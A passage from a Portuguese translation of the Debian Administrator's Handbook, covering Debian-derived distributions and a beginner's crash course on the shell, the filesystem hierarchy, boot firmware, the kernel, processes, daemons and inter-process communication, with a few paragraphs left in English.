SteamOS é uma distribuição baseada em jogos Debian desenvolvida pela Valve Corporation. É usado na Steam Machine, uma linha de computadores para jogos. A próxima versão 3.0, no entanto, usará o Arch Linux como plataforma.

→ https://store.steampowered.com/steamos/

A.14. E Muito Mais

O site DistroWatch referencia um número enorme de distribuições de Linux, muitas das quais são baseadas em Debian. Navegar neste site é uma ótima maneira de ter uma noção da diversidade no mundo do software livre.

→ https://distrowatch.com

O formulário de pesquisa pode ajudar a rastrear uma distribuição com base em sua ancestralidade. Em abril de 2021, a seleção do Debian resultou em 154 distribuições ativas!

→ https://distrowatch.com/search.php

Apêndice B. Curso Rápido de Reparação

Mesmo que este livro tenha como alvo principalmente administradores de sistemas e "usuários experientes", nós não gostaríamos de excluir os iniciantes motivados. Este apêndice será, portanto, um curso intensivo que descreve os conceitos fundamentais envolvidos na operação de um computador com Unix.

B.1. Shell e Comandos Básicos

No mundo Unix, todo administrador de sistemas terá que usar linha de comandos mais cedo ou mais tarde; por exemplo, quando o sistema falha em iniciar corretamente e provê somente o modo de recuperação via linha de comando. Ser capaz de trabalhar com esta interface, portanto, é uma habilidade de sobrevivência básica para estas circunstâncias.

OLHAR RÁPIDO Iniciando o interpretador de comando

Um ambiente de linha de comando pode ser usado a partir do ambiente gráfico, através de uma aplicação conhecida como "terminal". No GNOME, você pode iniciar ela a partir da visão geral dada em "Atividades" (que você obtém quando move o mouse para o canto superior esquerdo da tela), digitando as primeiras letras do nome da aplicação. No Plasma (e muitas outras variantes de área de trabalho), você irá encontrar ela no menu Aplicações → Sistema.

Esta seção só dá uma olhada rápida nos comandos. Todos eles têm muitas opções não descritas aqui. Então, por favor, visite a vasta documentação das suas respectivas páginas de manual.

B.1.1. Navegando na Árvore de Diretórios e Gerenciando Arquivos

Uma vez que uma sessão é aberta, o comando pwd (que significa print working directory - imprimir o diretório de trabalho) mostra a localização atual no sistema de arquivos. O diretório atual é alterado com o comando cd diretório (cd serve para alterar o diretório - change directory). O diretório pai é sempre chamado .. (dois pontos), enquanto o diretório atual também é conhecido como . (ponto). O ls permite listar o conteúdo de um diretório. Se nenhum parâmetro é dado, ele opera no diretório atual.

$ pwd /home/rhertzog $ cd Desktop $ pwd /home/rhertzog/Desktop $ cd . $ pwd /home/rhertzog/Desktop $ cd .. $ pwd /home/rhertzog $ ls Desktop Downloads Pictures Templates Documents Music Public Videos

Um novo diretório pode ser criado com mkdir diretório, e um diretório (vazio) existente pode ser removido com rmdir diretório. O comando mv permite mover e/ou renomear arquivos e diretórios; para remover um arquivo use rm arquivo.

$ mkdir test $ ls Desktop Downloads Pictures Templates Videos Documents Music Public test $ mv test new $ ls Desktop Downloads new Public Videos Documents Music Pictures Templates $ rmdir new $ ls Desktop Downloads Pictures Templates Videos Documents Music Public

B.1.2. Mostrando e Modificando Arquivos Texto

O comando cat arquivo (destinado a concatenar arquivos para o dispositivo de saída padrão) lê um arquivo e exibe seu conteúdo no terminal. Se o arquivo é muito grande para caber na tela, use um paginador como o less (ou more) para exibir o conteúdo página a página.

O comando editor inicia um editor de texto (como o vi ou o nano) e permite criar, modificar e ler arquivos de texto. Os arquivos mais simples às vezes podem ser criados diretamente a partir do interpretador de comandos graças ao redirecionamento: echo "texto">arquivo cria um arquivo chamado arquivo com "texto" como o seu conteúdo. Também é possível adicionar uma linha no final deste arquivo com um comando como echo "maistexto">>arquivo. Note o >> deste exemplo.

B.1.3. Procurando por e nos Arquivos

O comando find diretório critérios procura por arquivos na hierarquia sob o diretório de acordo com vários critérios. O critério mais comum é -name name: que permite procurar um arquivo pelo nome.

O comando grep expressão arquivos procura o conteúdo nos arquivos e extrai as linhas correspondentes na expressão regular (veja na barra lateral DE VOLTA AO BÁSICO Expressão regular). Adicionando a opção -r habilita a procura recursiva em todos os arquivos contidos no diretório passado como um parâmetro. Isto permite procurar por um arquivo quando somente uma parte do conteúdo é conhecido.

B.1.4. Gerenciamento de Processos

O comando ps aux lista os processos rodando atualmente e ajuda a identificá-los exibindo seus pid (identificador do processo). Uma vez que o pid de um processo é conhecido, o comando kill -signal pid permite enviar um sinal para ele (se o processo pertence ao usuário atual). Existem muitos sinais; os mais usados comumente são TERM (uma requisição para terminar suavemente) e KILL (matar o processo à força).

O interpretador de comando também pode rodar programas em segundo plano se o comando é seguido de um “&”. Ao utilizar o "e comercial", o usuário retorna o controle para o shell imediatamente mesmo que o comando ainda esteja rodando (oculto para o usuário; como um processo em segundo plano). O comando jobs lista os processos rodando em segundo plano; executar fg %número-do-processo (para foreground - primeiro plano) restaura o trabalho para o primeiro plano. Quando um comando está rodando em primeiro plano (ou porque ele foi iniciado normalmente, ou trazido de volta para o primeiro plano com fg), a combinação de teclas Control+Z pausa os processos e retorna o controle para a linha de comando. O processo pode então ser reiniciado em segundo plano com o comando bg %número-do-processo (para background - segundo plano).

B.1.5. Informações do Sistema: Memória, Espaço em Disco, Identidade

O comando free exibe informações sobre a memória; o df(disk free) exibe relatórios sobre o espaço disponível no disco em cada um dos discos montados no sistema de arquivo. A opção -h (para legível por humanos converte os tamanhos para uma unidade mais legível (normalmente gigabytes ou megabytes). De um modo semelhante, o comando free suporta as opções -m e -g, e mostra estes dados tanto em megabytes ou em gigabytes, respectivamente.

$ free total used free shared buff/cache available Mem: 16279260 5910248 523432 871036 9845580 9128964 Swap: 16601084 240640 16360444 $ df Filesystem 1K-blocks Used Available Use% Mounted on udev 8108516 0 8108516 0% /dev tmpfs 1627928 161800 1466128 10% /run /dev/mapper/vg_main-root 466644576 451332520 12919912 98% / tmpfs 8139628 146796 7992832 2% /dev/shm tmpfs 5120 4 5116 1% /run/lock tmpfs 8139628 0 8139628 0% /sys/fs/cgroup /dev/sda1 523248 1676 521572 1% /boot/efi tmpfs 1627924 88 1627836 1% /run/user/1000

O comando id exibe a identidade do usuário em execução na seção, juntamente com a lista de grupos a que pertence. Uma vez que o acesso a alguns arquivos ou dispositivos pode ser limitado aos membros de algum grupo, verificar a que grupos pertence pode ser útil.

$ id uid=1000(rhertzog) gid=1000(rhertzog) groups=1000(rhertzog),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),109(bluetooth),115(scanner)

B.2. Organização da Hierarquia de Sistema de Arquivos

B.2.1. O Diretório Raiz

Um sistema Debian é organizado de acordo com o Filesystem Hierarchy Standard (FHS). Esta norma define a finalidade de cada diretório. Por exemplo, os diretórios de nível superior são descritos como se segue:

/bin/: programas básicos;

/boot/: núcleo Linux e outros arquivos necessários para os primeiros passos de seu processo de inicialização;

/dev/: arquivos de dispositivo;

/etc/: Arquivos de configuração;

/home/: arquivos pessoais dos usuários;

/lib/: bibliotecas básicas;

/media/*: pontos de montagem para dispositivos removíveis (CD-ROM, pendrivers e assim por diante);

/mnt/: ponto de montagem temporário;

/opt/: aplicações extras fornecidas por terceiros;

/root/: arquivos pessoais do administrador (root);

/run/: dados de execução volátil (volatile runtime data) que não persistem entre re-inicializações;

/sbin/: programas do sistema;

/srv/: dados utilizados por servidores hospedados neste sistema;

/tmp/: arquivos temporários, este diretório é comumente limpo na inicialização;

/usr/: aplicações; este diretório é subdividido em bin, sbin, lib (de acordo com a mesma lógica do diretório raiz). Além disso, /usr/share/ contém dados independentes de arquitetura. /usr/local/ é feito para ser usado pelo administrador para instalar aplicativos manualmente, sem sobrescrever arquivos administrados pelo sistema de empacotamento (dpkg).

/var/: dados variáveis manipulados por daemons. Isto inclui arquivos de log, filas, spools, caches e por aí vai.

/proc/ e /sys/ são específicos do núcleo Linux ( e não fazem parte do FHS). Eles são usados pelo núcleo para exportar dados para o espaço de usuário (veja Seção B.3.4, “O Espaço de Usuário” e Seção B.5, “O Espaço de Usuário” para explicações sobre esse conceito).

Observe que muitas distribuições modernas, inclusive a Debian, fornecem /bin, /sbin e /lib como links simbólicos para os diretórios correspondentes em /usr para que todos os programas e bibliotecas fiquem disponíveis em uma única árvore. Assim fica mais fácil proteger a integridade do sistema de arquivos, e compartilhar aqueles arquivos de sistema entre múltiplos containers, etc.

B.2.2. O Diretório Origem (home) do Usuário

O conteúdo do diretório home do usuário não é padronizado, mas ainda existem algumas convenções relevantes. Uma delas é que o diretório home do usuário é muitas vezes referenciado por um til ("~"). É bom saber disto porque os interpretadores de comando substituem automaticamente um til pelo diretório correto (geralmente /home/user/).

Tradicionalmente, os arquivos de configuração de aplicativos são frequentemente armazenados diretamente sob o diretório home do usuário, mas seus nomes geralmente começam com um ponto (por exemplo, o cliente de email mutt armazena sua configuração em ~/.muttrc). Note que nomes de arquivos que começam com um ponto são ocultos por padrão; e ls os lista apenas quando a opção -a for usada, e gerenciadores de arquivos gráficos precisa ser ordenados para exibir arquivos ocultos.

Some programs also use multiple configuration files organized in one directory (for instance, ~/.ssh/). Some applications also use their directory to store a cache of downloaded data. This means that those directories can end up using a lot of disk space.

Esses arquivos de configuração armazenados diretamente no diretório home do usuário, muitas vezes chamados coletivamente como dotfiles, há tempos se proliferam a tal ponto que estes diretórios podem ficar abarrotados com eles. Felizmente, um esforço liderado coletivamente sob a orientação da FreeDesktop.org resultou na "Especificação de Diretórios Base da XDG", uma convenção que visa limpar esses arquivos e diretórios. Esta especificação estabelece que os arquivos de configuração devem ser armazenados sob ~/.config, arquivos de cache sob ~/.cache, e arquivos de dados de aplicativos sob ~/.local (ou subdiretórios nos mesmos). Esta convenção está lentamente ganhando força e vários aplicativos (especialmente os gráficos) começaram a segui-la.

Ambientes gráficos geralmente exibem o conteúdo do diretório ~/Desktop (ou qualquer que seja a tradução apropriada para sistemas não configurados em inglês) na área de trabalho (ou seja, o que é visível na tela uma vez que todas as aplicações estão fechadas ou minimizadas).

Finalmente, o sistema de e-mail às vezes armazena e-mails recebidos no diretório ~/Mail/.

B.3. Funcionamento Interno de um Computador: As Diferentes Camadas Envolvidas

Um computador é muitas vezes considerado como algo bastante abstrato, e a interface visível externamente é muito mais simples do que a sua complexidade interna. Tal complexidade vem, em parte, do número de peças envolvidas. No entanto, estas peças podem ser vistas em camadas, em que uma camada apenas interage com aquelas imediatamente acima ou abaixo.

Um usuário final pode viver sem saber esses detalhes... enquanto tudo funciona. Ao encontrar um problema como: "A internet não funciona!", A primeira coisa a fazer é identificar em qual camada o problema se origina. A placa de rede (hardware) está funcionando? É reconhecida pelo computador? Será que o kernel do Linux vê a placa? Os parâmetros de rede estão configurados corretamente? Todas estas questões isolam uma camada apropriada e focam numa possível fonte do problema.

B.3.1. A Camada mais Profunda: o Hardware

Vamos começar com um lembrete básico de que um computador é, em primeiro lugar, um conjunto de elementos de hardware. Há geralmente uma placa principal (conhecida como a placa-mãe), com um (ou mais) processador(es), memória RAM, controladores de dispositivos e encaixes (slots) de extensão para placas opcionais (para outros controladores de dispositivos). O mais importante entre esses controladores são as IDE (Parallel ATA), SCSI e Serial ATA, para conexão com dispositivos de armazenamento, como discos rígidos. Outros controladores incluem USB, que é capaz de hospedar uma grande variedade de dispositivos (variando de webcams até termômetros, de teclados até sistemas de automação residencial) e IEEE 1394 (Firewire). Esses controladores muitas vezes permitem conectar vários dispositivos. O subsistema completo gerenciado por tal controlador é, por este motivo, normalmente conhecido como "barramento". Placas opcionais incluem placas gráficas (onde telas de monitores serão conectadas), placas de som, placas de rede, e assim por diante. Algumas placas principais são pré-fabricadas com esses recursos, e não precisam de placas opcionais.

NA PRÁTICA Verificando se o hardware funciona

Verificar se um hardware está funcionando pode ser complicado. Entretanto, provar que o mesmo não funciona às vezes é bem simples.

Um disco rígido é feito de pratos giratórios e cabeças magnéticas móveis. Quando um disco rígido é ligado, o motor faz um zumbido característico. Também dissipa a energia na forma de calor. Consequentemente, um disco rígido que permanece frio e silencioso quando ligado está quebrado.

Placas de rede muitas vezes incluem LEDs que indicam o estado da conexão. Se um cabo estiver conectado e leva a um hub ou switch de rede em funcionamento, pelo menos um LED será ligado. Se nenhum LED acende, ou o próprio cartão, ou o dispositivo de rede ou o cabo entre eles está com defeito. O passo seguinte é, por conseguinte, o teste de cada componente individualmente.

Algumas placas opcionais - especialmente as placas de vídeo 3D - incluem dispositivos de refrigeração, tais como dissipadores de calor e/ou ventoinhas. Se a ventoinha não gira, mesmo que o cartão esteja ligado, uma explicação plausível é o cartão superaquecido. Isso vale também para o(s) processador(es) principal(is) localizado(s) na placa principal.

B.3.2. O Inicializador: a BIOS ou UEFI

O hardware, por si só, é incapaz de realizar tarefas úteis sem um software que o gerencie. Controlar e interagir com o hardware é o objetivo do sistema operacional e dos aplicativos. Estes, por sua vez, requerem hardware funcional para executar.

Esta simbiose entre hardware e software não acontece por si só. Quando o computador é ligado pela primeira vez, algumas configurações iniciais são necessárias. Esse papel é assumido pela BIOS ou UEFI, um software embarcado na placa principal que é executado automaticamente ao ligar o computador. Sua tarefa principal é a procura do software que receberá o controle. Normalmente, como você deve ter aprendido em Seção 9.1, “Inicialização do Sistema”, no caso da BIOS, isso envolve buscar pelo primeiro disco rígido com um setor de inicialização (também conhecido como o master boot record - registro mestre de inicialização - ou MBR), carregar esse setor de inicialização e executá-lo. A partir deste ponto, a BIOS geralmente não é mais utilizada (até a próxima inicialização). No caso da UEFI, o processo envolve uma busca nos discos à procura de uma partição EFI contendo outras aplicações EFI para executar.

FERRAMENTA Setup, a ferramenta de configuração da BIOS/UEFI

A BIOS/UEFI também contém um software chamado de Setup, projetado para permitir a configuração de aspectos do computador. Em particular, ele permite escolher qual é o dispositivo preferencial de inicialização (por exemplo, você pode selecionar um pendrive USB ou um drive de CD-ROM ao invés de um disco rígido padrão), configurar o relógio do sistema, e assim por diante. Iniciar o Setup geralmente envolve pressionar uma tecla logo que o computador é ligado. Esta tecla é muitas vezes o Del ou Esc, às vezes a F2,F5, F8 ou F10. Na maioria das vezes, a escolha é exibida na tela durante a inicialização. Caso não seja exibida, é melhor você checar o manual da sua placa-mãe ou do seu computador.

O setor de inicialização (ou a partição EFI), por sua vez, contém outro pedaço de software, chamado bootloader, cujo propósito é encontrar e executar um sistema operacional. Uma vez que este bootloader não é incorporado na placa principal, mas carregado do disco, pode ser mais esperto do que a BIOS, o que explica por que o BIOS não carrega o sistema operacional por si só. Por exemplo, o carregador de inicialização (geralmente o GRUB em sistemas Linux) pode listar os sistemas operacionais disponíveis e pedir ao usuário para escolher um. Normalmente, fornece uma opção de tempo limite e escolha padrão. Às vezes, o usuário também pode optar por adicionar parâmetros para passar para o núcleo, e assim por diante. No final das contas, um núcleo é encontrado, carregado na memória e executado.

NOTA UEFI, um moderno substituto para a BIOS

BIOS (which stands for Basic Input/Output System) is a software that is included in the motherboard - the electronic board connecting all peripherals - and executed when the computer is booted, in order to load an operating system (via an adapted bootloader). It stays in the background to provide an interface between the hardware and the software (in our case, the Linux kernel).

In 2005/2006 its successor, the UEFI (Unified Extensible Firmware Interface) specification, has been published. This specification defines an interface that has the same purpose as the BIOS, but tries to provide more usability, extensibility, and flexibility, a graphical user interface, and true 64bit support. And it got rid of some of the limitations of BIOS booting: with the usage of a dedicated partition, the bootloaders no longer need special tricks to fit in a tiny master boot record and then discover the kernel to boot. Even better, with a suitably built Linux kernel, UEFI can directly boot the kernel without any intermediary bootloader. UEFI is also the basic foundation used to deliver Secure Boot, a technology ensuring that you run only software validated by your operating system vendor.

Nowadays, most new computers will boot in UEFI mode by default, but usually they also support BIOS booting alongside for backwards compatibility with operating systems that are not ready to exploit UEFI. This is called the Compatibility Support Mode/Module (CSM). But, several manufacturers have either announced to cease support for the legacy BIOS mode in their UEFI implementation, or they already did. This transition, however, has not been without discussion nor without criticism.

A BIOS/UEFI também é responsável por detectar e iniciar uma série de dispositivos. Obviamente, isto inclui os dispositivos IDE/SATA (normalmente disco(s) rígido(s) e unidades de CD/DVD-ROM), mas também dispositivos PCI. Os dispositivos detectados são frequentemente listado na tela durante o processo de inicialização. Se esta lista passa muito rápido, use a tecla Pause para congelá-la por tempo suficiente para ler. Dispositivos PCI instalados que não aparecem são um mau presságio. Na pior das hipóteses, o dispositivo está com defeito. Na melhor das hipóteses, é apenas incompatível com a versão atual da BIOS ou com a placa-mãe. As especificações PCI evoluem, e não há garantia de que as placas-mãe antigas entendam dispositivos PCI mais recentes.

B.3.3. O Núcleo

Tanto a BIOS/UEFI como o bootloader apenas são executados por alguns segundos cada; agora estamos chegando ao primeiro software que é executado por um longo tempo, o núcleo do sistema operacional. Este núcleo assume o papel de um maestro de uma orquestra e assegura a coordenação entre o hardware e o software. Este papel envolve várias tarefas, incluindo: administrar o hardware, gerenciar processos, usuários e permissões, o sistema de arquivos, e assim por diante. O núcleo fornece uma base comum a todos os outros programas no sistema.

B.3.4. O Espaço de Usuário

Embora possamos agrupar tudo que acontece fora do núcleo como "espaço do usuário", ainda podemos separá-lo em camadas de software. No entanto, as suas interações estão cada vez mais complexas e as classificações podem não ser tão simples. Uma aplicação geralmente usa bibliotecas, que por sua vez envolvem o núcleo, mas as comunicações também podem envolver outros programas, ou até mesmo muitas bibliotecas que chamam umas às outras.

B.4. Algumas Tarefas realizadas pelo Núcleo

B.4.1. Controlando o Hardware

O núcleo tem, em primeiro lugar, a tarefa de controlar as partes do hardware, detectando-os, ligando-os quando o computador é ligado, e assim por diante. Também os torna disponíveis para o software de alto nível com uma interface de programação simplificada, para que os aplicativos possam tirar proveito de dispositivos sem ter que se preocupar com detalhes como em qual slot de extensão a placa opcional está conectada. A interface de programação também fornece uma camada de abstração; isso permite que o software de videoconferência, por exemplo, use uma webcam independentemente da sua marca e modelo. O software pode apenas usar a interface Vídeo for Linux (V4L), e o núcleo traduz as chamadas de função desta interface para os comandos de hardware reais necessários pela webcam específica em uso.

O núcleo (kernel) exporta muitos detalhes sobre o hardware detectado através dos sistemas de arquivos virtuais /proc/ e /sys/. Várias ferramentas resumem esses detalhes. Entre elas, o lspci (no pacote pciutils) lista os dispositivos PCI, lsusb (no pacote usbutils) lista os dispositivos USB e lspcmcia (no pacote pcmciautils) lista os cartões PCMCIA. Estas ferramentas são muito úteis para a identificação do modelo exato de um dispositivo. Esta identificação permite também pesquisas mais precisas na web, que por sua vez, levam a documentos mais relevantes.

Exemplo B.1. Exemplo de informação provida pelo lspci e lsusb

$ lspci [...] 00:00.0 Host bridge: Intel Corporation Xeon E3-1200 v6/7th Gen Core Processor Host Bridge/DRAM Registers (rev 05) 00:01.0 PCI bridge: Intel Corporation 6th-9th Gen Core Processor PCIe Controller (x16) (rev 05) 00:02.0 VGA compatible controller: Intel Corporation HD Graphics 630 (rev 04) 00:14.0 USB controller: Intel Corporation 100 Series/C230 Series Chipset Family USB 3.0 xHCI Controller (rev 31) 00:14.2 Signal processing controller: Intel Corporation 100 Series/C230 Series Chipset Family Thermal Subsystem (rev 31) [...] 02:00.0 Network controller: Qualcomm Atheros QCA6174 802.11ac Wireless Network Adapter (rev 32) 03:00.0 Unassigned class [ff00]: Realtek Semiconductor Co., Ltd. RTL8411B PCI Express Card Reader (rev 01) 03:00.1 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller (rev 12) 04:00.0 Non-Volatile memory controller: Samsung Electronics Co Ltd NVMe SSD Controller SM981/PM981/PM983 $ lsusb Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 0bda:5621 Realtek Semiconductor Corp. HD WebCam Bus 001 Device 002: ID 04ca:3016 Lite-On Technology Corp. Bus 001 Device 018: ID 145f:01bc Trust GXT 155 Gaming Mouse Bus 001 Device 004: ID 04f3:0c03 Elan Microelectronics Corp. ELAN:Fingerprint Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub

Estes programas têm uma opção -v, que lista informações com muito mais detalhes (mas que geralmente não são necessárias). Finalmente, o comando lsdev (no pacote procinfo) lista os recursos de comunicação usados pelos dispositivos.

As aplicações acessam frequentemente os dispositivos por meio de arquivos especiais criados dentro de /dev/ (veja a barra lateral DE VOLTA AO BÁSICO Permissão de acesso a dispositivos). Estes são arquivos especiais que representam as unidades de disco (por exemplo, /dev/hda e /dev/sdc), partições (/dev/hda1 ou /dev/sdc3), mouses (/dev/input/mouse0), teclados (/dev/input/event0), placas de som (/dev/snd/*), portas seriais (/dev/ttyS*), e assim por diante.

B.4.2. Sistemas de Arquivos

Os sistemas de arquivos são um dos aspectos mais importantes do núcleo. Sistemas Unix agrupam todos os arquivos que armazenam em uma hierarquia única, que permite aos usuários (e aplicações) acessar os dados sabendo apenas a sua localização dentro dessa hierarquia.

O ponto de partida desta árvore hierárquica é chamado de raiz, /. Este diretório pode conter subdiretórios nomeados. Por exemplo, o subdiretório home do / é chamado /home/. Este subdiretório pode, por sua vez, conter outros subdiretórios, e assim por diante. Cada diretório também pode conter arquivos, onde os dados reais serão armazenados. Assim, o nome /home/rmas/Desktop/hello.txt refere-se a um arquivo chamado hello.txt armazenado em Desktop, que é subdiretório de rmas, que é subdiretório de home, que está na raiz. O núcleo traduz entre este sistema de nomenclatura e o real armazenamento físico que fica no disco.

Ao contrário de outros sistemas, só há uma hierarquia deste tipo, e pode integrar dados de vários discos. Um desses discos é usado como a raiz, e os outros são "montados" em diretórios na hierarquia (o comando Unix é chamado mount); esses outros discos estarão disponíveis sob estes "pontos de montagem". Isso permite o armazenamento do diretório home dos usuários (tradicionalmente armazenados dentro de /home/) em um segundo disco rígido, que irá conter os diretórios rhertzog e rmas. Depois que o disco é montado em /home/, esses diretórios estarão disponíveis em seus locais habituais e caminhos como /home/rmas/Desktop/hello.txt continuarão funcionando.

Existem muitos formatos de sistemas de arquivo que correspondem a muitas formas de armazenamento físico de dados nos discos. Os mais conhecidos são o ext3 e o ext4, mas existem outros. Por exemplo, o vfat é o sistema que foi historicamente usado pelos sistemas operacionais DOS e Windows, que permite utilizar os discos rígidos tanto no Debian como no Windows. Em qualquer caso, um sistema de arquivos deve ser preparado em um disco antes que ele possa ser montado e esta operação é conhecida como "formatação". Comandos como mkfs.ext3 (onde mkfs é MaKe FileSystem - criar sistema de arquivos) fazem a formatação. Estes comandos exigem, como um parâmetro, um arquivo de dispositivo que representa a partição a ser formatada (por exemplo, /dev/sda1). Esta operação é destrutiva e só deve ser executado uma vez, exceto quando se queira limpar deliberadamente um sistema de arquivos e começar de novo.

Há também sistemas de arquivos de rede, como o NFS, em que os dados não são armazenados em um disco local. Em vez disso, os dados são transmitidos através da rede para um servidor que os armazena e recupera sob demanda. A abstração de sistema de arquivos protege os usuários de se preocuparem com: arquivos permanecem acessíveis na sua forma hierárquica usual.

B.4.3. Funções Compartilhadas

Uma vez que uma quantidade das mesmas funções são usadas por todos os softwares, não faz sentido centralizá-las no kernel. Por exemplo, a gestão de sistemas de arquivos compartilhados permite que qualquer aplicativo simplesmente abra um arquivo pelo nome, sem precisar se preocupar onde o arquivo está armazenado fisicamente. O arquivo pode ser armazenado em diferentes partes em um disco rígido, ou dividido em vários discos rígidos, ou mesmo armazenado em um servidor de arquivos remoto. As funções de comunicação compartilhadas são usadas por aplicativos para troca de dados de forma independente da forma como os dados são transportados. Por exemplo, o transporte poderia ser sobre qualquer combinação de redes locais sem fio ou através de uma linha telefônica.

B.4.4. Gerenciamento de Processos

Um processo é uma instância em execução de um programa. Ele requer memória para armazenar tanto o próprio programa quanto seus dados operacionais. O núcleo é responsável por criar e acompanhá-los. Quando um programa é executado, o núcleo primeiro reserva alguma memória, em seguida carrega o código executável do sistema de arquivos para ele, e então começa a execução do código. Ele mantém informações sobre este processo, sendo a mais visível um número de identificação conhecido como pid (process identifier - identificador de processo).

Núcleos tipo Unix (incluindo o Linux), como a maioria dos outros sistemas operacionais modernos, são capazes de "multitarefa". Em outras palavras, eles permitem a execução de vários processos "ao mesmo tempo". Na verdade, há apenas um processo em execução em qualquer momento, mas o kernel divide o tempo em pequenas porções e executa um processo de cada vez. Uma vez que estas porções de tempo são muito curtas (com intervalo em milissegundos), cria-se a ilusão de processos em execução em paralelo, embora estejam, na verdade, somente ativo durante alguns intervalos de tempo e ociosos no resto do tempo. O trabalho do kernel é ajustar seus mecanismos de agendamento para manter essa ilusão, enquanto maximiza o desempenho do sistema global. Se as porções de tempo são muito longas, o aplicativo pode não parecer responsivo como desejado. Se são muito curtas, o sistema perde tempo trocando entre as tarefas com muita frequência. Estas decisões podem ser ajustadas pelas prioridades do processo. Os processos de alta prioridade serão executados por porções de tempo mais longas e mais frequentes do que os processos de baixa prioridade.

NOTA Sistemas multiprocessados (e suas variantes)

A restrição descrita acima, de apenas um processo sendo capaz de rodar de cada vez, nem sempre é aplicável. A restrição real é que só pode haver um processo em execução por "core" de processador de cada vez. Sistemas multiprocessador, multi-core ou "hiper-thread" permitem que vários processos executem em paralelo. O mesmo sistema de divisão de tempo ainda é usado, no entanto, de forma a lidar com casos em que existem mais processos ativos do que núcleos de processador disponíveis. Isto está longe de ser incomum: um sistema básico, ainda que na maior parte inativo, quase sempre tem dezenas de processos em execução.

Claro que, o núcleo permite a execução de várias instâncias independentes do mesmo programa. Mas cada uma só pode acessar os seus próprios intervalos de tempo e memória. Assim seus dados se mantém independentes.

B.4.5. Gerenciamento de Direitos

Sistemas similares ao Unix também são multiusuário. Eles fornecem um sistema de gerenciamento de direitos que permite grupos e usuários separados; ele também permite controle sobre ações com base em permissões. O núcleo gerencia dados de cada processo, permitindo-lhe controlar as permissões. Na maioria das vezes, um processo é identificado pelo usuário que o iniciou. Esse processo só é capaz de agir de acordo com as permissões disponíveis para seu dono. Por exemplo, tentar abrir um arquivo requer que o núcleo verifique a identidade do processo em relação as permissões de acesso (para mais detalhes sobre este exemplo em particular, veja Seção 9.3, “Gerenciando Direitos”).

B.5. O Espaço de Usuário

"Espaço de usuário" refere-se ao ambiente de execução de processos normais (em oposição aos do núcleo). Isso não significa necessariamente que esses processos foram realmente iniciados por usuários, pois um sistema padrão normalmente tem vários processos "daemon" (serviços) (ou em segundo plano) em execução antes mesmo do usuário abrir uma sessão. Processos daemon também são considerados processos no espaço do usuário.

B.5.1. Processo

Quando o núcleo passa por sua fase de inicialização, ele inicia o primeiro de todos os processos, o init. O processo #1 sozinho, raramente é útil por si só, e em sistemas similares ao Unix rodam com muitos processos adicionais.

Em primeiro lugar, um processo pode se clonar (isto é conhecido como fork). O núcleo aloca um novo (mas idêntico) espaço de memória do processo, e um outro processo para usá-lo. Neste momento, a única diferença entre esses dois processos é o pid. O novo processo é normalmente chamado de processo filho, e o processo original cujo pid não muda, é chamado de processo pai.

Às vezes, o processo filho continua a viver de forma independente de seu pai, com os seus próprios dados copiados do processo pai. Em muitos casos, porém, este processo filho executa outro programa. Com poucas exceções, sua memória é simplesmente substituída pela do novo programa, e a execução deste novo programa começa. Esse é o mecanismo usado pelo processo init (com processo número 1) para iniciar serviços adicionais e executar toda a sequência de inicialização. Em algum momento, um dos processos descendentes do init inicia uma interface gráfica para os usuários iniciarem sua sessão (a sequência dos eventos é descrita em mais detalhes no Seção 9.1, “Inicialização do Sistema”).

Quando um processo termina a tarefa para a qual ele foi iniciado, ele termina. O núcleo então recupera a memória designada para este processo, e pára de dar porções de tempo de execução. O processo pai é avisado de que seu processo filho que está sendo encerrado, o que permite que um processo aguarde a conclusão de uma tarefa delegada a um processo filho. Este comportamento é claramente visível nos interpretadores de linha de comando (conhecidos como shells). Quando um comando é digitado em um shell, o prompt só volta quando a execução do comando é concluída. A maioria dos shells permite a execução do comando em segundo plano simplesmente adicionando um & no final do comando. O prompt volta a ser exibido imediatamente, o que pode ser um problema se o comando deve exibir dados.

B.5.2. Daemons

Um "daemon" (serviço) é um processo iniciado automaticamente pela sequência de inicialização. Ele continua em execução (em segundo plano) para executar as tarefas de manutenção ou prover serviços a outros processos. Esta "tarefa em segundo plano" é realmente arbitrária e não tem uma importância especial do ponto de vista do sistema. Eles são simplesmente processos, bastante semelhantes a outros processos, que executam quando está em sua porção de tempo. A distinção é apenas na língua humana: dizemos que um processo que é executado sem interação com o usuário (em particular, sem qualquer interface gráfica) está em execução "em segundo plano" ou "como um serviço".

VOCABULÁRIO Daemon, demon, um termo depreciativo?

Em inglês, utiliza-se o termo daemon compartilhando sua etimologia grega com demônio, o que não implica formalmente mal diabólico, ao contrário, deve ser entendido como uma espécie de espírito ajudante. Esta distinção é sutil o suficiente em inglês; é ainda pior em outras línguas em que a mesma palavra é usada para ambos os significados.

Vários desses daemons são descritos em detalhes em Capítulo 9, Serviços Unix.

B.5.3. Comunicação Inter Processos

Um processo isolado, seja um daemon ou um aplicativo interativo, raramente é útil por si só, e é por isso que existem vários métodos que permitem a comunicação entre os processos separados, seja para troca de dados ou para controlar um ao outro. O termo genérico que se refere a isso é comunicação entre processos, ou IPC (Inter-Process Communication) para abreviar.

O sistema IPC mais simples é utilizar arquivos. O processo que deseja enviar dados escreve-os em um arquivo (com um nome já conhecido), enquanto o destinatário só precisa abrir o arquivo e ler seu conteúdo.

No caso de você não desejar armazenar dados em disco, você pode usar um pipe (conexão), que é simplesmente um objeto com duas extremidades; bytes escritos em uma extremidade são legíveis na outra. Se as extremidades são controladas por processos separados, ela se converte em um canal de comunicação entre processos simples e conveniente. Pipes podem ser classificados em duas categorias: pipes nomeados e pipes anônimos. Um pipe nomeado é representado por uma entrada no sistema de arquivos (embora os dados transmitidos não são armazenados lá), para que ambos os processos posam abri-lo de forma independente desde que a localização do pipe nomeado seja conhecida antecipadamente. Nos casos em que os processos se comunicando sejam relacionados (por exemplo, um pai e seu processo filho), o processo pai também pode criar um pipe anônimo antes da bifurcação (fork), e o filho o herda. Assim, ambos os processos serão capazes de trocar dados através do pipe sem a necessidade do sistema de arquivos.

NA PRÁTICA Um exemplo concreto

Vamos descrever em detalhes o que acontece quando um comando complexo (um pipeline) é executado a partir de um shell. Vamos assumir que temos um processo bash (o shell do usuário padrão no Debian), com pid 4374; neste shell podemos digitar o comando: ls | sort.

